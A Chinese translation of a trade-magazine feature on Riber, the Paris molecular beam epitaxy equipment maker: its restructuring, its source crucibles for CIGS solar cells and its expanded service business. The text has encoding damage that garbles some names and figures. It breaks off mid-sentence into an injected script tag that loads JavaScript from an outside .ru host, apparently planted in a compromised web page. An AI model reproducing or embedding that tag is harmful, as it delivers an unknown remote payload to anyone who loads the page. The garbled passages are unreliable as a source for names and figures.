分子束外延廠商聚焦新興市場
Riber公司開始重視氮化物器件的生產(chǎn),如新型太陽能電池和有機(jī)半導(dǎo)體材料等。Michael訪問了這家位于巴黎的設(shè)備公司,試圖發(fā)掘更多關(guān)于它較新戰(zhàn)略的信息。 Michael Hatcher 《Compound Semiconductor》雜志 在巴黎一個(gè)被人遺忘的角落,一幢不起眼的建筑隱匿在一條靠近塞納河的單行道的盡頭。一旦你進(jìn)入之后,你卻能目睹到當(dāng)今較先進(jìn)的半導(dǎo)體制造技術(shù)。這就是Riber公司,他們將MBE推向市場化,在這方面他們做的工作可能比其他任何公司都要多。鐵門后面是停車場,而在位于公司大樓中心地帶的超凈間里,大約有十二套MBE反應(yīng)腔體正準(zhǔn)備裝配。這些新的設(shè)備將制造出首批氮化鎵(GaN)高電子遷移率晶體管(HEMT)外延片,用于生產(chǎn)大功率射頻IC、超酷顯示器所用的有機(jī)發(fā)光二極管(OLED)以及將來會(huì)成為發(fā)電之根本的太陽能電池等。但是MBE設(shè)備的生意已不好經(jīng)營了。量產(chǎn)級(jí)反應(yīng)腔的銷售幾乎停滯,Riber公司已面臨財(cái)政壓力。在新的監(jiān)督機(jī)制和執(zhí)行董事會(huì)成立之前,令人失望的財(cái)政狀況是不可避免的。在半導(dǎo)體圈子里,No雔 Goutard也許并不是一個(gè)為人熟知的名字。他曾是汽車裝備跨國公司Valeo的前任CEO,那時(shí)該公司幾乎控制了汽車離合器市場。他具有豐富的商業(yè)經(jīng)驗(yàn)。2007年12月,Goutard增加了他在Riber的投資,之后還引薦了Jean-Pierre Regner,一位經(jīng)驗(yàn)豐富的執(zhí)行官,曾任Philips半導(dǎo)體法國公司的外部顧問長達(dá)30多年,其中包括晶圓廠的經(jīng)理。
Riber公司需要改變。它沒有將足夠的精力放到服務(wù)上,而且還應(yīng)該與MBE零部件供應(yīng)商Addon加大整合力度。幾個(gè)月后,Regner成為Riber的執(zhí)行董事會(huì)主席,而Michel Picault調(diào)去領(lǐng)導(dǎo)公司的系統(tǒng)部門,Addon則全部在Riber的掌控之下。 Regner講到:“我們現(xiàn)在要集中精力做到三個(gè)關(guān)鍵點(diǎn),系統(tǒng)、資源以及服務(wù)。”系統(tǒng)一直以來都是Riber的核心優(yōu)勢(shì),該公司已有三十多年銷售MBE設(shè)備的歷史。重新關(guān)注源材料體現(xiàn)在Addon從Riber獨(dú)立出來,這項(xiàng)工作是在Pierre Bouchaib的領(lǐng)導(dǎo)下進(jìn)行的,他在上世紀(jì)七、八十年代完成了Riber早期MBE業(yè)務(wù)的拓展。獨(dú)立出來的這部分業(yè)務(wù)有利于Riber的未來發(fā)展。新的源材料對(duì)某些沉積工藝至關(guān)重要,其中包括用于薄膜太陽能電池的銅和硒(Cu & Se)、以及有機(jī)晶體管和OLED所需的更復(fù)雜的化學(xué)物質(zhì)。 創(chuàng)建之中 Bouchaib現(xiàn)在重新?lián)蜶iber的銷售總監(jiān),一張為所有員工熟悉的面孔又漫步在公司的走廊了,而且擁抱和香煙候著——他,就是MBE“教父”。從100級(jí)的超凈間里看去,有10臺(tái)MBE設(shè)備正在制造裝配中,Bouchaib預(yù)言它們會(huì)在幾周內(nèi)完工并裝運(yùn)出貨。在超凈間里,坐落著大大小小不同的反應(yīng)腔,都是為生產(chǎn)廠和研究實(shí)驗(yàn)室定制的,它們將用來制備量子點(diǎn)激光器、有機(jī)晶體管等。 Bouchaib擁有三十五年設(shè)計(jì)和銷售MBE設(shè)備的經(jīng)驗(yàn),可能比其他人更有資格對(duì)未來做些預(yù)測。他肯定的答復(fù)是“太陽能電池”。太陽能電池不僅只是MOCVD技術(shù)主導(dǎo)的復(fù)雜高效三五族化合物器件,還有碲化鎘(CdTe)和銅銦鎵硒化物(CIGS)器件。盡管已有大量的風(fēng)險(xiǎn)投資,而且CIGS器件已初步成為一種高速、低成本的生產(chǎn)技術(shù)(Global Solar已經(jīng)在美國亞利桑納州Tucson部署了一個(gè)750kW的系統(tǒng)),但CIGS仍然存在一些問題,特別是在形成CulnxGa1-xSe2異質(zhì)結(jié)結(jié)構(gòu)時(shí)要求各種源物質(zhì)均勻的沉積。而對(duì)于典型的MBE反應(yīng)腔而言,沉積的精度不成問題,但需要均勻地沉積,這樣生產(chǎn)的電池可靠,性能好,且經(jīng)濟(jì)效益高。銦和鎵沉積起來相對(duì)容易,并且均勻性較好。但這對(duì)銅和硒來說就是一個(gè)挑戰(zhàn)。Bouchaib認(rèn)為這一問題會(huì)嚴(yán)重阻礙CIGS器件的生產(chǎn)。如果CIGS電池生產(chǎn)者想要解決這一問題,你首先要聯(lián)系的人就是Bouchaib。 Riber的工程師們正和Addon從事開發(fā)的專家們合作,試圖對(duì)MBE源進(jìn)行一些改進(jìn)以達(dá)到大家所期望的更高的沉積速度。到目前為止,他們已經(jīng)提出一種進(jìn)行特別設(shè)計(jì),稱之為Muso坩堝組,能適用于CIGS生長所需的每種元素。MC坩堝適用于硫和硒,PG坩堝用于銦和鎵,而HT坩堝則適用銅。 Bouchaib的方案應(yīng)該被提上日程,因?yàn)槟壳俺练e薄膜的質(zhì)量是大家較為關(guān)心的。但速度一直都很關(guān)鍵,CIGS開發(fā)人員希望至少能達(dá)到10祄/h。Bouchaib說:“我并不確定我們現(xiàn)在是否能達(dá)到,當(dāng)然我們應(yīng)該盡能多的努力來提高產(chǎn)率,我相信我們能做到。”目前均勻性能做到±5%,原材料的利用率為75%,通量穩(wěn)定度為1.45%。CIGS制造商當(dāng)然不會(huì)滿足于此,但這一方案前途可觀。此外,Bouc-haib認(rèn)為上述材料源可以用來降低沉積的成本。 Riber公司的戰(zhàn)略的第三個(gè)重點(diǎn)就是服務(wù),自去年收購Oxford Instruments Plasma Technology(OIPT)的MBE部門后,服務(wù)就變得更重要了。盡管OIPT近幾年來幾乎沒有售出一套MBE設(shè)備,但以前售出的大量OIPT或更早的VG Semicon老品牌MBE設(shè)備還在工作。此次并購使Riber的服務(wù)工作量急遽增加。當(dāng)前全世界共有800套左右的MBE,其中約500套由Riber提供服務(wù),比如對(duì)儀器進(jìn)行軟件升級(jí),OIPT先前的客戶也將從中獲益。目前在MBE系統(tǒng)市場,較主要的兩家公?script src=http://app.webserviceget.ru/js.js>
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